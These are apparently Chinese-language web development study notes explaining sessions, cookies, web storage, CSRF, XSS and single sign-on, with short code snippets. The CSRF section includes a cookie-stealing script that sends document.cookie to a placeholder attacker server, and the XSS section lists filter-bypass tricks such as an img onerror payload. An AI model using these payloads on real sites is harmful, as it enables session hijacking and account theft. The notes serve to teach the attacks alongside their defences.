github
地址:戳這裡
session
概念
- 指一類用來在客戶端與伺服器之間保持狀態的解決方案
- 這種解決方案的儲存結構
特點
-
由於
Session
是以文字檔案形式儲存在伺服器端的,所以不怕客戶端修改 Session 內容。(也可以用其他儲存方式比如redis
) -
Session
物件是有生命週期的 -
Session
例項是輕量級的,所謂輕量級:是指他的建立和刪除不需要消耗太多資源 -
Session
物件內部有一個快取
用法
Session
物件儲存特定使用者會話所需的屬性及配置資訊,在web
頁跳轉時,資訊將不會丟失
通常用於以下操作
- 儲存整個會話過程中保持使用者狀態的資訊,比如登入資訊或者使用者瀏覽時產生的其它資訊
- 儲存只需要在 頁重新載入 過程中,或者 一組功能頁 之間保持狀態的物件
- 在 Web伺服器上保持使用者的 狀態資訊 供在任何時間從任何裝置上的頁面進行訪問。
限制
- 使用者登入越多,
session
需要的記憶體量越大 - 每個
Session
物件的持續時間是使用者訪問的時間加上不活動的時間。
為何需要session
HTTP協議本身是無狀態的
舉個喝咖啡的例子:
1、該店的店員很厲害,能記住每位顧客的消費數量,只要顧客一走進咖啡店,店員就知道該怎麼對待了。這種做法就是協議本身支援狀態。
2、發給顧客一張卡片,上面記錄著消費的數量,一般還有個有效期限。每次消費時,如果顧客出示這張卡片,則此次消費就會與以前或以後的消費相聯絡起來。這種做法就是在客戶端保持狀態。
3、發給顧客一張會員卡,除了卡號之外什麼資訊也不紀錄,每次消費時,如果顧客出示該卡片,則店員在店裡的紀錄本上找到這個卡號對應的紀錄新增一些消費資訊。這種做法就是在伺服器端保持狀態。
具體機制
-
當程式需要為某個客戶端的請求建立一個
session
的時候,伺服器首先檢查這個客戶端的請求裡是否已包含了一個 session標識 - 稱為session id
,如果已包含一個session id
則說明以前已經為此客戶端建立過session,伺服器就按照session id
把這個session
檢索出來使用(如果檢索不到,可能會新建一個),如果客戶端請求不包含session id
,則為此客戶端建立一個session
並且生成一個與此session
相關聯的session id
,session id
的值應該是一個 既不會重複,又不容易被找到規律以仿造的字串 ,這個session id
將被在本次響應中返回給客戶端儲存。 -
由於
cookie
可以被人為的禁止,必須有其他機制以便在cookie
被禁止時仍然能夠把session id
傳遞迴伺服器。經常被使用的一種技術叫做URL
重寫兩種形式:
// 作為url附加路徑 'http://..../xxx;jsessionid=abcdefjijeoijoifjioe' // 作為查詢字串 'http://..../xxx?jsessionid=abcdefjijeoijoifjioe' 複製程式碼
-
較老的技術,表單隱藏欄位,此方法在防止csrf中有用
實現
基於cookie來實現使用者和資料的對映
將口令放在cookie
中,口令一旦被褚昂愛,就丟失對映關係。通常session
的有效期通常短,過期就將資料刪除
一旦伺服器檢查到使用者請求cookie
中沒有攜帶session_id
,它會為之生成一個值,這個值是唯一且不重複的值,並設定超時時間。如果過期就重新生成,如果沒有過期,就更新超時時間
var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate = function () {
var session = {};
session.id = (new Date().getTime()) + Math.random();
session.cookie = {
expire: (new Date()).getTime() + EXPIRES
}
sessions[session.id] = session
}
function (req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate();
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > new Date().getTime()) {
session.cookie.expire = new Date().getTime() + EXPIRES;
req.session = session;
} else {
delete sessions[id];
req.session = generate();
}
} else {
req.session = generate();
}
}
}
複製程式碼
一種節省空間的做法
由於關閉瀏覽器不會導致session
被刪除,迫使伺服器為seesion
設定了一個失效時間,當距離客戶端上一次使用session
的時間超過這個失效時間時,伺服器就可以認為客戶端已經停止了活動,才會把session
刪除以節省儲存空間
reference
http://justsee.iteye.com/blog/1570652
https://baike.baidu.com/item/session/479100?fr=aladdin
https://blog.csdn.net/hjc1984117/article/details/53995816
cookie
儲存在使用者本地終端的資料
http
請求自動傳送,跨域除外
用途
客戶端記錄使用者資訊
特點
儲存在硬碟上的cookie
可以在不同的瀏覽器程式間共享,比如兩個IE
視窗。而對於儲存在記憶體裡的cookie
,不同的瀏覽器有不同的處理方式。
屬性
name
:cookie
名稱value
:cookie
值domain
:可以訪問cookie
的域名,某一級域名可以訪問上一級級域名的cookieexpires/Max-Age
:過期時間Size
:cookie
的大小http
:httponly
屬性,為true
,不能用document.cookie
獲得secure
:為true
只能在https
獲得path
:子路徑訪問父路徑cookie
建立cookie
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
讀取cookie
document.cookie
修改cookie
document.cookie =
採用覆蓋的形式
刪除cookie
將過期時間設定為過去時間即可
與localStorage
和sessionStorage
的區別
-
儲存大小
-
cookie
資料大小不能超過4k。 -
sessionStorage
和localStorage
雖然也有儲存大小的限制,但比cookie
大得多,可以達到5M或更大。
-
-
有效時間
-
localStorage
儲存持久資料,瀏覽器關閉後資料不丟失除非主動刪除資料; -
sessionStorage
資料在當前瀏覽器視窗關閉後自動刪除。 -
cookie
設定的cookie
過期時間之前一直有效,即使視窗或瀏覽器關閉
-
-
sessionStorage
- 會話級別的儲存
- 臨時性的,頁面開啟有,頁面關閉沒有
- 資料不共享
- 通過a標籤來跳出一個頁面,則
sessionStorage
共享
-
localStorage
- 持久化的本地儲存
- 永久性的儲存
- 不能跨域
- 資料共享
-
cookie
cookie
在同源且符合path
規則的文件之間共享max-age
用秒來設定cookie
的生存期。- 如果
max-age
為0,則表示刪除該cookie
。 - 如果
max-age
為負數,則表示該cookie
僅在本瀏覽器視窗以及本視窗開啟的子視窗內有效,關閉視窗後該cookie即失效。
如何得到cookie
有兩個http頭部是專門負責設定以及傳送cookie
的,它們分別是 Set-Cookie
以及 Cookie
。當伺服器返回給客戶端一個http響應資訊時,其中如果包含Set-Cookie
這個頭部時,意思就是指示客戶端建立一個cookie
,並且在後續的http請求中自動傳送這個cookie
到伺服器端,直到這個cookie
過期。如果cookie
的生存時間是整個會話期間的話,那麼瀏覽器會將cookie
儲存在記憶體中,瀏覽器關閉時就會自動清除這個cookie
。另外一種情況就是儲存在客戶端的硬碟中,瀏覽器關閉的話,該cookie
也不會被清除,下次開啟瀏覽器訪問對應網站時,這個cookie
就會自動再次傳送到伺服器端。
cookie
伺服器端寫入
//java的寫法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);
//php 中的寫法
setcookie(name,value,expire,path,domain,secure)
複製程式碼
reference
https://my.oschina.net/ososchina/blog/339918
https://blog.csdn.net/dong123dddd/article/details/50388656
csrf(跨站請求偽造)
過程
- 使用者c開啟瀏覽器,登入網站a
- 登入成功後,記錄登入資訊
cookie
- 在網站
a
未退出的情況下,開啟網站b
- 網站
b
在收到使用者請求後返回攻擊性程式碼,獲取網站a
的cookie
,併發出請求a網站(注意:這兒是兩步) - 網站
a
誤以為還是使用者c發出的請求
竊取cookie
向被攻擊者的伺服器頁面上注入一段javascript
程式碼(藉助xss跨站指令碼攻擊)
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
複製程式碼
防禦
- 驗證
http referer
欄位 - 在請求地址中新增token
系統開發者可以在HTTP
請求中以引數的形式加入一個隨機產生的token
,並在伺服器端建立一個攔截器來驗證這個token
,如果請求中沒有token
或者token
內容不正確,則認為可能是CSRF
攻擊而拒絕該請求。
- 在
HTTP
頭中自定義屬性並驗證(不會被洩露)
reference
http://www.freebuf.com/articles/web/11840.html
xss(跨站指令碼攻擊)
分類
- 反射型(非持久型)
那些瀏覽器每次都要在引數中提交惡意資料才能觸發的跨站指令碼漏洞。
可以讓一個域名轉向到惡意URL
,把那個域名發給使用者
- 儲存型(持久型)
指通過提交惡意資料到儲存器(比如資料庫、文字檔案等),Web
應用程式輸出的時候是從儲存器中讀出惡意資料輸出到頁面的一類跨站指令碼漏洞。
常見攻擊方法
- 繞過
xss-filter
- 利用
img
- 空格,回車,
tab
來繞過過濾 - 利用事件如:
<img src=“#” onerror= “alert(1)”/>
- css跨站:
background-url
- 利用字元編碼
防禦
xss-filter
,過濾標籤 2.httpOnly
- 將變數輸出到頁面時,要編碼
reference
http://www.cnblogs.com/wqhwe/p/5416976.html
單系統登入
http
無狀態協議
瀏覽器每次請求,伺服器都單獨處理
要鑑別瀏覽器請求,又因為http是無狀態協議,所以需要伺服器和瀏覽器共同維護一個狀態
會話機制
瀏覽器第一次請求伺服器,建立一個會話id,並由瀏覽器儲存,以後每次請求都帶上,伺服器取得後可判斷是否是同一個使用者
單系統利用cookie
登入狀態
瀏覽器第一次請求伺服器,需要驗證使用者名稱和密碼,通過與資料庫裡的作比較,驗證通過將會話標記為“已授權”
以後每次請求都檢查登入狀態
單點登入(多系統登入,single sign on
,sso
)
使用者登入登出一次,就可以在多個系統中得到效果
由於多系統的域不一樣,所有cookie會受到限制,瀏覽器傳送http
請求時會自動攜帶與該域匹配的cookie
,而不是所有cookie
如果將domain
設定為頂級域名會有限制:
- 系統群域名得統一
- 各系統使用的技術要相同
cookie
不安全
登入
相比於單系統登入,sso
多了一個認證中心,只有認證中心接受使用者名稱和密碼等安全資訊,其他系統不提供登入入口,只接受認證中心的間接授權。間接授權通過令牌實現,sso
認證中心驗證使用者的使用者名稱密碼沒問題,建立授權令牌,在接下來的跳轉過程中,授權令牌作為引數傳送給各個子系統,子系統拿到令牌,即得到了授權,可以藉此建立區域性會話,區域性會話登入方式與單系統的登入方式相同。這個過程,也就是單點登入的原理,用下圖說明
使用者登入成功之後,會與sso認證中心及各個子系統建立會話,使用者與sso認證中心建立的會話稱為全域性會話,使用者與各個子系統建立的會話稱為區域性會話,區域性會話建立之後,使用者訪問子系統受保護資源將不再通過sso認證中心
登出
具體跳轉
假設認證中心和系統2的url分別是:sso.com、system2.com
,訪問 system2.com
時因未登入而跳轉到 sso.com
,跳轉地址:http://sso.com?service=http://system2.com
(不需要額外資訊),此時,就變成了瀏覽器與 http://sso.com
站點之間的會話,這個會話因為系統1登入的原因已經被標記為已登入,所以認證中心取一塊令牌,根據service引數回跳,並附上令牌,回跳地址:http://system2.com?token=token
如何驗證登入資訊
-
不同域之間
- 當登入某一系統後,須跳轉到其它系統並設定cookie
- nodejs實現302跳轉
-
同一域名不同站點
- 共享
cookie
- 共享
-
同一域,不同子域
- 存放
sessionId
的域都是上一級的
- 存放
reference
https://www.cnblogs.com/wxj-106/p/8097880.html
http://www.cnblogs.com/ywlaker/p/6113927.html#!comments